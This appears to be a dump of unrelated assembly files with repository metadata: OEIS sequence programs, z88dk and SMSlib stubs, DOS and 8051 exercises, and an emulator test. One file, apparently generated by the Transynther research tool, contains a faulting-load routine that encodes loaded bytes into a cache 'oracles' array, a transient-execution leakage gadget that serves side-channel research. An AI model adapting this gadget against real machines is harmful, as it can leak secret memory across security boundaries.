meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/stdio_new/file/fputc.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/stdio_new/file/fputc.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; wrapper for function pointers PUBLIC fputc EXTERN fputc_callee EXTERN ASMDISP_FPUTC_CALLEE .fputc pop de pop ix pop hl push hl push hl push de jp fputc_callee + ASMDISP_FPUTC_CALLEE
11.833333
41
0.71831
cde1cff9d3cd37a0f2a64b59f899a20f7c4cdc09
721
asm
Assembly
programs/oeis/102/A102363.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/102/A102363.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/102/A102363.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A102363: Triangle read by rows, constructed by a Pascal-like rule with left edge = 2^k, right edge = 2^(k+1)-1 (k >= 0). ; 1,2,3,4,5,7,8,9,12,15,16,17,21,27,31,32,33,38,48,58,63,64,65,71,86,106,121,127,128,129,136,157,192,227,248,255,256,257,265,293,349,419,475,503,511,512,513,522,558,642,768,894,978,1014,1023,1024,1025,1035,1080,1200,1410,1662,1872,1992,2037,2047,2048,2049,2060,2115,2280,2610,3072,3534,3864,4029,4084,4095,4096,4097,4109,4175,4395,4890,5682,6606,7398,7893,8113,8179,8191,8192,8193,8206,8284,8570,9285,10572,12288,14004 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n. add $1,$2 lpe add $1,1 mov $0,$1
55.461538
418
0.678225
117d841b4654463743832747d4ebb3c5cdae10ea
271
asm
Assembly
programs/oeis/128/A128467.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/128/A128467.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/128/A128467.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A128467: a(n) = 30*n + 11. ; 11,41,71,101,131,161,191,221,251,281,311,341,371,401,431,461,491,521,551,581,611,641,671,701,731,761,791,821,851,881,911,941,971,1001,1031,1061,1091,1121,1151,1181,1211,1241,1271,1301,1331,1361,1391,1421,1451 mov $1,$0 mul $1,30 add $1,11
38.714286
210
0.704797
bac41796e2970cb42362bfc4fbacbdc16279cf4d
406
asm
Assembly
Tareas/Ensamblador/tasm/BIN/fact2.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
Tareas/Ensamblador/tasm/BIN/fact2.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
Tareas/Ensamblador/tasm/BIN/fact2.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
Extrn factorial:Far Pila Segment db 64 Dup (' Pila ') Pila EndS Datos Segment var db 3 Datos EndS Codigo Segment Assume CS: Codigo, DS:Datos, SS:Pila Inicio: xor cx,cx mov cx,Datos mov DS,cx push 3 call factorial mov dl,bl add dl,26h mov ah, 02h ;se imprime en consola int 21h mov ax,4c00h int 21h Codigo EndS End Inicio
11.941176
39
0.600985
8196399bae9b94b2939d69e2c143251840834f67
1,295
asm
Assembly
programs/oeis/000/A000346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/000/A000346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/000/A000346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A000346: a(n) = 2^(2*n+1) - binomial(2*n+1, n+1). ; 1,5,22,93,386,1586,6476,26333,106762,431910,1744436,7036530,28354132,114159428,459312152,1846943453,7423131482,29822170718,119766321572,480832549478,1929894318332,7744043540348,31067656725032,124613686513778,499744650202436,2003840547211196,8033729541916936,32204451718583748,129081554826085352,517328461520992776,2073128832586063408,8307059966383480541,33283773930410970362,133347431852056124558,534202671450374228996,2139926971296404217246,8571667683571477322476,34332621538610531032268,137507220017229130830472,550709305440646499122278,2205459348804862488597932,8831951313811087852525748,35366849685156255854062232,141618252219830108767909628,567056308998913431764726552,2270482353849730975132159928,9090669744110457073918686032,36396547750199019342561173618,145717518899038246735722686372,583379627841332604080945354060,2335496773023086576977405190696,9349671877762860624294851578940,37428556677997215123129548733272,149830384583444642926768748778968,599773498051806525178522604625296,2400853406823834919585082898377156,9610266084223184551837881251972936,38467765289749513059255770228804408,153975149619287174541056579234029712,616306543472276275149956960379485960 mul $0,2 add $0,1 seq $0,45621 ; a(n) = 2^n - binomial(n, floor(n/2)).
185
1,170
0.906564
b800f83e96b09121184f752931fd4b2e491c9d8b
314
asm
Assembly
01. 8051/05. Arithmetic Operations 2/Act3.asm
nitrece/microprocessor-laboratory
40d9e41537e56fb049ef6230fcaaaee3b5d3b121
[ "MIT" ]
null
null
null
01. 8051/05. Arithmetic Operations 2/Act3.asm
nitrece/microprocessor-laboratory
40d9e41537e56fb049ef6230fcaaaee3b5d3b121
[ "MIT" ]
null
null
null
01. 8051/05. Arithmetic Operations 2/Act3.asm
nitrece/microprocessor-laboratory
40d9e41537e56fb049ef6230fcaaaee3b5d3b121
[ "MIT" ]
null
null
null
org 0h mov dptr, #150h mov r0, #40h mov r1, #58h mov r2, #0 mov r3, #12 copy_loop: mov a, r2 movc a, @a+dptr mov @r0, a inc r0 inc r2 djnz r3, copy_loop mov r0, #40h mov r3, #12 mov a, #0 add_loop: add a, @r0 inc r0 djnz r3, add_loop mov b, #12 div ab mov @r1, a org 150h db 7, 7, 7, 7, 7, 7, 9, 9, 9, 9, 9, 9 end
11.62963
37
0.621019
b8a8c56750b242d3556b1c6365d442873b2207a9
305
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_addSpriteClipping_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_addSpriteClipping_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_addSpriteClipping_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; signed char SMS_addSpriteClipping(int x,int y,unsigned char tile) SECTION code_clib SECTION code_SMSlib PUBLIC _SMS_addSpriteClipping_callee EXTERN asm_SMSlib_addSpriteClipping _SMS_addSpriteClipping_callee: pop hl pop bc pop de dec sp ex (sp),hl jp asm_SMSlib_addSpriteClipping
16.052632
67
0.796721
77259d6f1ed6c477ca72adcc3b52032367f573f8
208
asm
Assembly
UU.asm
Mohamed-94/Group-of-Assembly-Programs-Samples--8086-85-Processors-family-
060422e19882bb32c35bf5b8d42aae29eee0d820
[ "MIT" ]
16
2018-07-20T03:11:03.000Z
2021-12-14T11:18:36.000Z
Hello.asm
Mohamed-94/Group-of-Assembly-Programs-Samples--8086-85-Processors-family-
060422e19882bb32c35bf5b8d42aae29eee0d820
[ "MIT" ]
null
null
null
Hello.asm
Mohamed-94/Group-of-Assembly-Programs-Samples--8086-85-Processors-family-
060422e19882bb32c35bf5b8d42aae29eee0d820
[ "MIT" ]
3
2018-07-20T03:11:08.000Z
2020-09-18T18:57:53.000Z
;.TITEL HELLO WORLED .MODEL SMALL .STACK 100H .DATA MESSAGE DB "HELLO,WORLED$" .CODE MAIN PROC MOV AX,@DATA MOV DS,AX LEA DX,MESSAGE MOV AH,09H INT 21H MOV AH,4CH INT 21H MAIN ENDP END MAIN
11.555556
27
0.682692
8c655006e3d24db68d2264a1603ff91856dbdfe4
432
asm
Assembly
programs/oeis/046/A046717.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/046/A046717.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/046/A046717.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A046717: a(n) = 2*a(n-1) + 3*a(n-2), a(0) = a(1) = 1. ; 1,1,5,13,41,121,365,1093,3281,9841,29525,88573,265721,797161,2391485,7174453,21523361,64570081,193710245,581130733,1743392201,5230176601,15690529805,47071589413,141214768241,423644304721,1270932914165,3812798742493,11438396227481,34315188682441,102945566047325,308836698141973,926510094425921,2779530283277761,8338590849833285 mov $1,3 pow $1,$0 div $1,8 mul $1,4 add $1,1
48
328
0.784722
dd26f477b5a767db50766c979973ed83a8341c0e
915
asm
Assembly
unittests/32Bit_ASM/Primary/Primary_E8_2.asm
fengjixuchui/FEX
287c65dc6414523ec74303c4b1d03123ae720d6b
[ "MIT" ]
null
null
null
unittests/32Bit_ASM/Primary/Primary_E8_2.asm
fengjixuchui/FEX
287c65dc6414523ec74303c4b1d03123ae720d6b
[ "MIT" ]
null
null
null
unittests/32Bit_ASM/Primary/Primary_E8_2.asm
fengjixuchui/FEX
287c65dc6414523ec74303c4b1d03123ae720d6b
[ "MIT" ]
null
null
null
%ifdef CONFIG { "RegData": { "RAX": "0x41424344" }, "Mode": "32BIT" } %endif ; Tests for 32-bit signed displacement wrapping ; Testing for overflow specifically ; Will crash or hit the code we emit to memory ; We map ten pages to 0xe000'0000 ; Generate a call 0x11000 over there ; 0xe8'fb'0f'01'20 : call 0x11000 ; 0xf4: hlt - Just in case mov ebx, 0xe0000000 mov al, 0xe8 mov byte [ebx], al mov eax, 0x20010ffb mov dword [ebx + 1], eax mov al, 0xf4 mov byte [ebx + 5], al ; Do a jump dance to stop multiblock from trying to optimize ; Otherwise it will JIT code from 0xe000'0000 before written lea ebx, [rel next] jmp ebx next: ; Move temp to eax to overwrite mov eax, 0 ; Setup esp mov esp, 0xe0001000 ; This is dependent on where it is in the code! call -0x20000000 ; Definitely wrong if we hit here mov eax, -1 hlt ; This is where the JIT code will land align 0x1000 mov eax, 0x41424344 hlt
17.941176
60
0.712568
eeaa89a30f37079dffce01e17b8d9f91a5482436
361
asm
Assembly
programs/oeis/273/A273982.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/273/A273982.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/273/A273982.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A273982: Number of little cubes visible around an n X n X n cube with a face on a table. ; 1,8,25,52,89,136,193,260,337,424,521,628,745,872,1009,1156,1313,1480,1657,1844,2041,2248,2465,2692,2929,3176,3433,3700,3977,4264,4561,4868,5185,5512,5849,6196,6553,6920,7297,7684,8081,8488,8905,9332,9769,10216 mov $1,5 mul $1,$0 add $1,2 mul $1,$0 add $1,1 mov $0,$1
36.1
211
0.722992
1394fef2593bad565976d8faa536c4664ec4cda5
121
asm
Assembly
libsrc/_DEVELOPMENT/l/sdcc/____sdcc_outi_256.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/l/sdcc/____sdcc_outi_256.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/l/sdcc/____sdcc_outi_256.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_l_sdcc PUBLIC ____sdcc_outi_256 EXTERN l_outi_256 defc ____sdcc_outi_256 = l_outi_256
12.1
35
0.859504
ba4bcdccaff313fcc91dad7f34b317467e08b958
6,503
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_11838_1495.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_11838_1495.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_11838_1495.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x13bae, %rsi lea addresses_WT_ht+0x1867a, %rdi nop nop nop nop nop xor $24242, %rbx mov $98, %rcx rep movsw nop nop nop nop nop sub $2156, %r11 lea addresses_WT_ht+0x1cc6e, %rsi lea addresses_UC_ht+0x97ae, %rdi clflush (%rsi) nop nop and $63648, %rbx mov $55, %rcx rep movsw nop nop nop sub $60252, %rdi lea addresses_UC_ht+0xc52e, %rcx nop cmp $60308, %rsi mov (%rcx), %edi nop and %r11, %r11 lea addresses_A_ht+0x1743e, %rbp nop nop nop nop xor $30563, %rdx movups (%rbp), %xmm5 vpextrq $1, %xmm5, %rsi nop add $62060, %rdi lea addresses_WT_ht+0xfdfc, %rdi clflush (%rdi) nop add %rcx, %rcx movups (%rdi), %xmm6 vpextrq $1, %xmm6, %rbx nop nop nop sub $5059, %r11 lea addresses_A_ht+0x11bae, %rsi lea addresses_D_ht+0xeae, %rdi clflush (%rdi) nop nop and $54629, %rbx mov $60, %rcx rep movsw cmp $63806, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r8 push %rcx push %rdx push %rsi // Store mov $0x2b3cb5000000060e, %rcx nop nop nop sub $39618, %rsi movl $0x51525354, (%rcx) nop nop nop nop nop sub %r10, %r10 // Store mov $0x1c6, %r12 nop nop nop nop nop cmp $21903, %r8 movb $0x51, (%r12) nop nop nop nop nop sub %rcx, %rcx // Store lea addresses_WT+0x1972e, %rdx nop nop nop nop xor $24040, %r14 mov $0x5152535455565758, %r10 movq %r10, %xmm5 movntdq %xmm5, (%rdx) nop sub %rcx, %rcx // Load lea addresses_normal+0x1026e, %r8 nop nop nop nop and $38255, %r10 mov (%r8), %r14 nop dec %rcx // Faulty Load mov $0xf56af0000000bae, %rdx nop nop nop and %r12, %r12 mov (%rdx), %esi lea oracles, %r12 and $0xff, %rsi shlq $12, %rsi mov (%r12,%rsi,1), %rsi pop %rsi pop %rdx pop %rcx pop %r8 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'00': 11838} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.962366
2,999
0.65539
2d1621069eb91cc38369666e4e7327715435e835
746
asm
Assembly
programs/oeis/070/A070504.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/070/A070504.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/070/A070504.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A070504: a(n) = n^3 mod 42. ; 0,1,8,27,22,41,6,7,8,15,34,29,6,13,14,15,22,41,36,13,20,21,22,29,6,1,20,27,28,29,36,13,8,27,34,35,36,1,20,15,34,41,0,1,8,27,22,41,6,7,8,15,34,29,6,13,14,15,22,41,36,13,20,21,22,29,6,1,20,27,28,29,36,13,8,27,34,35,36,1,20,15,34,41,0,1,8,27,22,41,6,7,8,15,34,29,6,13,14,15,22,41,36,13,20,21,22,29,6,1,20,27,28,29,36,13,8,27,34,35,36,1,20,15,34,41,0,1,8,27,22,41,6,7,8,15,34,29,6,13,14,15,22,41,36,13,20,21,22,29,6,1,20,27,28,29,36,13,8,27,34,35,36,1,20,15,34,41,0,1,8,27,22,41,6,7,8,15,34,29,6,13,14,15,22,41,36,13,20,21,22,29,6,1,20,27,28,29,36,13,8,27,34,35,36,1,20,15,34,41,0,1,8,27,22,41,6,7,8,15,34,29,6,13,14,15,22,41,36,13,20,21,22,29,6,1,20,27,28,29,36,13,8,27,34,35,36,1,20,15 pow $0,3 mod $0,42 mov $1,$0
106.571429
685
0.624665
c091323924bff9295397b86c3f83bda2391df2da
611
asm
Assembly
oeis/022/A022341.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/022/A022341.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/022/A022341.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A022341: Odd Fibbinary numbers; also 4*Fibbinary(n) + 1. ; Submitted by Christian Krause ; 1,5,9,17,21,33,37,41,65,69,73,81,85,129,133,137,145,149,161,165,169,257,261,265,273,277,289,293,297,321,325,329,337,341,513,517,521,529,533,545,549,553,577,581,585,593,597,641,645,649,657,661,673,677,681,1025,1029,1033,1041,1045,1057,1061,1065,1089,1093,1097,1105,1109,1153,1157,1161,1169,1173,1185,1189,1193,1281,1285,1289,1297,1301,1313,1317,1321,1345,1349,1353,1361,1365,2049,2053,2057,2065,2069,2081,2085,2089,2113,2117,2121 seq $0,22340 ; Even Fibbinary numbers (A003714); also 2*Fibbinary(n). mul $0,2 add $0,1
76.375
430
0.749591
006bab00939828eafa4dc2301abd5ea74527ef40
474
asm
Assembly
programs/oeis/000/A000212.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/000/A000212.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/000/A000212.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A000212: a(n) = floor(n^2/3). ; 0,0,1,3,5,8,12,16,21,27,33,40,48,56,65,75,85,96,108,120,133,147,161,176,192,208,225,243,261,280,300,320,341,363,385,408,432,456,481,507,533,560,588,616,645,675,705,736,768,800,833,867,901,936,972,1008,1045,1083,1121,1160,1200,1240,1281,1323,1365,1408,1452,1496,1541,1587,1633,1680,1728,1776,1825,1875,1925,1976,2028,2080,2133,2187,2241,2296,2352,2408,2465,2523,2581,2640,2700,2760,2821,2883,2945,3008,3072,3136,3201,3267 pow $0,2 div $0,3
79
422
0.734177
32b8024733ab238d69cba458c2e2ba0d29361c46
660
asm
Assembly
oeis/027/A027412.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/027/A027412.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/027/A027412.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A027412: a(n) = 2*a(n-1) + (n-2)*a(n-2). ; Submitted by Christian Krause ; 1,2,4,10,28,86,284,998,3700,14386,58372,246218,1076156,4860710,22635292,108459814,533813716,2694524642,13930068740,73667056394,398075350108,2195824771702,12353156545564,70818633296870,413406710596148,2455641987020306,14833045028348164,91057139732203978,567773450201460220,3594089673172427846,23085835951985741852,150400272425971891238,993375623411516038036,6649159692028160704450,45086339333224834626052,309594948503378972498954,2152125434336402322283676,15140074066291068682030742 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,$0 add $3,$1 add $1,$2 add $3,1 lpe mov $0,$3
44
483
0.810606
7d9ae2dbe41599d086673407ad050af69cb9dbd6
12,654
asm
Assembly
Modellazione_e_analisi_di_sistemi/eclipse_workspace_mas/esercizi/scaricati/NeedhamSchroederWithSpy.asm
katema-official/Universita_magistrale_anno_1.2
8123bef1e519e1047bc359499fc2d8f229a19363
[ "MIT" ]
null
null
null
Modellazione_e_analisi_di_sistemi/eclipse_workspace_mas/esercizi/scaricati/NeedhamSchroederWithSpy.asm
katema-official/Universita_magistrale_anno_1.2
8123bef1e519e1047bc359499fc2d8f229a19363
[ "MIT" ]
null
null
null
Modellazione_e_analisi_di_sistemi/eclipse_workspace_mas/esercizi/scaricati/NeedhamSchroederWithSpy.asm
katema-official/Universita_magistrale_anno_1.2
8123bef1e519e1047bc359499fc2d8f229a19363
[ "MIT" ]
null
null
null
